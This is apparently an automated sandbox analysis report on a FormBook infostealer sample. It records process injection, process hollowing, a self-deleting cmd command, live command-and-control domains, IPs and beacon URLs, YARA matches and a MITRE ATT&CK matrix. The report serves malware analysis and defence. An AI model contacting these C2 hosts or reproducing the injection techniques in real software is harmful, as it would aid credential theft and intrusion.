Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0494C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0494C600 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04978E00 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04958A0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049FFE3F mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A01608 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0494E620 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04984A2C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04984A2C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A18A62 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049D4257 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04949240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04949240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04949240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04949240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04957E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04957E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04957E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04957E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04957E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04957E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0498927A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0496AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0496AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0496AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0496AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0496AE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0495766D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049FB260 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049FB260 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04972397 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04958794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A15BA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0497B390 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C7794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C7794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C7794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04951B8F mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04951B8F mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049FD380 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A0138A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04974BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04974BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04974BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C53CA mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049C53CA mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049837F5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049703E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049703E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049703E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049703E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049703E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049703E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0496DBE9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0496F716 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049DFF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049DFF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0497A70E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0497A70E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0497E730 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A1070D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A1070D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04944F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04944F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A0131B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A18F6A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0494F358 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0494DB40 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0495EF40 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04973B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04973B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0494DB60 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0495FF60 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A18B58 mov eax, dword ptr fs:[00000030h]

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process token adjusted: Debug
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Network Connect: 52.128.23.153 80
Source: C:\Windows\explorer.exe	Network Connect: 202.210.8.86 80
Source: C:\Windows\explorer.exe	Domain query: www.omfgphil.com
Source: C:\Windows\explorer.exe	Network Connect: 156.252.96.189 80
Source: C:\Windows\explorer.exe	Domain query: www.tracisolomon.xyz
Source: C:\Windows\explorer.exe	Network Connect: 34.95.69.141 80
Source: C:\Windows\explorer.exe	Network Connect: 81.169.145.162 80
Source: C:\Windows\explorer.exe	Network Connect: 184.168.131.241 80
Source: C:\Windows\explorer.exe	Domain query: www.rogegalmish.com
Source: C:\Windows\explorer.exe	Domain query: www.webdomoupravitel.com
Source: C:\Windows\explorer.exe	Domain query: www.drisu-goalkeeping.com
Source: C:\Windows\explorer.exe	Network Connect: 192.232.222.43 80
Source: C:\Windows\explorer.exe	Domain query: www.shirleyeluiz.com
Source: C:\Windows\explorer.exe	Domain query: www.thepocket-onlinelesson.xyz
Source: C:\Windows\explorer.exe	Network Connect: 64.98.145.30 80
Source: C:\Windows\explorer.exe	Domain query: www.4520oceanviewavenue.com
Source: C:\Windows\explorer.exe	Domain query: www.skynetaccess.com
Source: C:\Windows\explorer.exe	Domain query: www.best-cleaner.com

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe

Memory written: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Section loaded: unknown target: C:\Windows\SysWOW64\rundll32.exe protection: execute and read and write
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Section loaded: unknown target: C:\Windows\SysWOW64\rundll32.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Thread register set: target process: 3388
Source: C:\Windows\SysWOW64\rundll32.exe	Thread register set: target process: 3388

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe

Section unmapped: C:\Windows\SysWOW64\rundll32.exe base address: 1340000

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process created: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe C:\Users\user\Desktop\457b22da_by_Libranalysis.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\457b22da_by_Libranalysis.exe'

Source: explorer.exe, 00000005.00000002.480271164.0000000001398000.00000004.00000020.sdmp	Binary or memory string: ProgmanamF
Source: explorer.exe, 00000005.00000000.241521742.0000000001980000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.483140519.0000000003360000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000005.00000000.241521742.0000000001980000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.483140519.0000000003360000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000005.00000000.241521742.0000000001980000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.483140519.0000000003360000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000005.00000000.241521742.0000000001980000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.483140519.0000000003360000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Queries volume information: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe VolumeInformation
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000009.00000002.481738454.00000000011E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.478757286.00000000008F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.276852950.0000000001400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.238968916.00000000037E7000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.480717659.0000000000D10000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.276548151.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.276831846.00000000013D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.457b22da_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.457b22da_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000009.00000002.481738454.00000000011E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.478757286.00000000008F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.276852950.0000000001400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.238968916.00000000037E7000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.480717659.0000000000D10000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.276548151.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.276831846.00000000013D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.457b22da_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.457b22da_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Shared Modules1	Path Interception	Process Injection612	Masquerading1	Input Capture1	Security Software Discovery321	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	Process Discovery2	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer3	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion31	Security Account Manager	Virtualization/Sandbox Evasion31	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection612	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol13	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Deobfuscate/Decode Files or Information1	LSA Secrets	System Information Discovery112	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information4	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Rundll321	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Software Packing13	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
457b22da_by_Libranalysis.exe	32%	ReversingLabs	Win32.Trojan.Wacatac
457b22da_by_Libranalysis.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
0.2.457b22da_by_Libranalysis.exe.250000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File
4.2.457b22da_by_Libranalysis.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen		Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.shirleyeluiz.com/a8si/?NZb=pM4A9y9s2fQOT6MseLZ6D1nJp3ZoXi1DIz8HREKs7lWKo2rCfk3YBCWk1LbwXjkHseQ/&2dND=GVTl-	0%	Avira URL Cloud	safe
www.rogegalmish.com/a8si/	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.skynetaccess.com/a8si/?NZb=u+x8HrW8TaP2OTySFAVUaGkyVI6Qrz7itxoztY99JgBPvqcvqvs4xGCSIVWMYkPxCa9b&2dND=GVTl-	0%	Avira URL Cloud	safe
http://www.thepocket-onlinelesson.xyz/a8si/?NZb=AKlWb4FzuMtnty9OGtxovY3lKx8NV8ATEUFEzcIxGa/JytTKcc+qEWA3ceqFQyW9WUsw&2dND=GVTl-	0%	Avira URL Cloud	safe
http://www.best-cleaner.com/a8si/?NZb=62/bSqqzpTDIfVncwf8kcLNbcalsRP0e0Vdwfvu8Ay8ZWoGvbHjczG9DeoieTYsPlzHS&2dND=GVTl-	0%	Avira URL Cloud	safe
http://servermanager.miixit.org/index_ru.htmlc	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.4520oceanviewavenue.com/a8si/?NZb=O3o1U+q8oMW0A40QuM4kzZFzuvGZx18F2J1jOj0HsFueYiG3dIptHphoRZJy//fOFehA&2dND=GVTl-	0%	Avira URL Cloud	safe
http://www.omfgphil.com/a8si/?NZb=jdN+3RUems8XgJANUws4WWtkbvXxMu2hTQ/t6K3f+t8prXi7JgWKk+q+WHlFohFhnqtz&2dND=GVTl-	0%	Avira URL Cloud	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	Avira URL Cloud	safe
http://www.rogegalmish.com/a8si/?NZb=+XN8NDZ1K2QCkRvOhUuLQIc57zcvFV8XafOJaWeGgjvpyrWV+MqtkcBEDSPdl300gZ3G&2dND=GVTl-	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://servermanager.miixit.org/index_ru.html	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://servermanager.miixit.org/report/reporter_index.php?name=	0%	Avira URL Cloud	safe
http://servermanager.miixit.org/1	0%	Avira URL Cloud	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.boostcoachingonline.com/a8si/?NZb=4F1bkU/AiPiMeDtr2vTtPD5XJl4c4IZLVeC3bIU2IShR3AvGXFCeCpQ25wAjwLp6N7J6&2dND=GVTl-	0%	Avira URL Cloud	safe
https://vm.tiktok.com/ZMJE3suep/a8si?NZb=jdN	0%	Avira URL Cloud	safe
http://servermanager.miixit.org/downloads/	0%	Avira URL Cloud	safe
http://servermanager.miixit.org/hits/hit_index.php?k=	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
4520oceanviewavenue.com	184.168.131.241	true	true	unknown
home-inland.com	81.88.52.88	true	true	unknown
www.shirleyeluiz.com	34.95.69.141	true	false	unknown
rogegalmish.com	192.232.222.43	true	true	unknown
www.thepocket-onlinelesson.xyz	202.210.8.86	true	true	unknown
www.omfgphil.com	64.98.145.30	true	true	unknown
drisu-goalkeeping.com	81.169.145.162	true	true	unknown
boostcoachingonline.com	184.168.131.241	true	true	unknown
www.skynetaccess.com	52.128.23.153	true	true	unknown
www.best-cleaner.com	156.252.96.189	true	true	unknown
www.drisu-goalkeeping.com	unknown	unknown	true	unknown
www.boostcoachingonline.com	unknown	unknown	true	unknown
www.home-inland.com	unknown	unknown	true	unknown
www.tracisolomon.xyz	unknown	unknown	true	unknown
www.4520oceanviewavenue.com	unknown	unknown	true	unknown
www.rogegalmish.com	unknown	unknown	true	unknown
www.webdomoupravitel.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.shirleyeluiz.com/a8si/?NZb=pM4A9y9s2fQOT6MseLZ6D1nJp3ZoXi1DIz8HREKs7lWKo2rCfk3YBCWk1LbwXjkHseQ/&2dND=GVTl-	false	Avira URL Cloud: safe	unknown
www.rogegalmish.com/a8si/	true	Avira URL Cloud: safe	low
http://www.skynetaccess.com/a8si/?NZb=u+x8HrW8TaP2OTySFAVUaGkyVI6Qrz7itxoztY99JgBPvqcvqvs4xGCSIVWMYkPxCa9b&2dND=GVTl-	true	Avira URL Cloud: safe	unknown
http://www.thepocket-onlinelesson.xyz/a8si/?NZb=AKlWb4FzuMtnty9OGtxovY3lKx8NV8ATEUFEzcIxGa/JytTKcc+qEWA3ceqFQyW9WUsw&2dND=GVTl-	true	Avira URL Cloud: safe	unknown
http://www.best-cleaner.com/a8si/?NZb=62/bSqqzpTDIfVncwf8kcLNbcalsRP0e0Vdwfvu8Ay8ZWoGvbHjczG9DeoieTYsPlzHS&2dND=GVTl-	true	Avira URL Cloud: safe	unknown
http://www.4520oceanviewavenue.com/a8si/?NZb=O3o1U+q8oMW0A40QuM4kzZFzuvGZx18F2J1jOj0HsFueYiG3dIptHphoRZJy//fOFehA&2dND=GVTl-	true	Avira URL Cloud: safe	unknown
http://www.omfgphil.com/a8si/?NZb=jdN+3RUems8XgJANUws4WWtkbvXxMu2hTQ/t6K3f+t8prXi7JgWKk+q+WHlFohFhnqtz&2dND=GVTl-	true	Avira URL Cloud: safe	unknown
http://www.rogegalmish.com/a8si/?NZb=+XN8NDZ1K2QCkRvOhUuLQIc57zcvFV8XafOJaWeGgjvpyrWV+MqtkcBEDSPdl300gZ3G&2dND=GVTl-	true	Avira URL Cloud: safe	unknown
http://www.boostcoachingonline.com/a8si/?NZb=4F1bkU/AiPiMeDtr2vTtPD5XJl4c4IZLVeC3bIU2IShR3AvGXFCeCpQ25wAjwLp6N7J6&2dND=GVTl-	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.apache.org/licenses/LICENSE-2.0	explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com	explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designersG	explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designers/?	explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	false		high
http://servermanager.miixit.org/index_ru.htmlc	457b22da_by_Libranalysis.exe, 00000000.00000002.237290926.0000000002791000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tiro.com	explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers	explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	false		high
http://www.goodfont.co.kr	explorer.exe, 00000005.00000000.259560137.0000000008B46000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
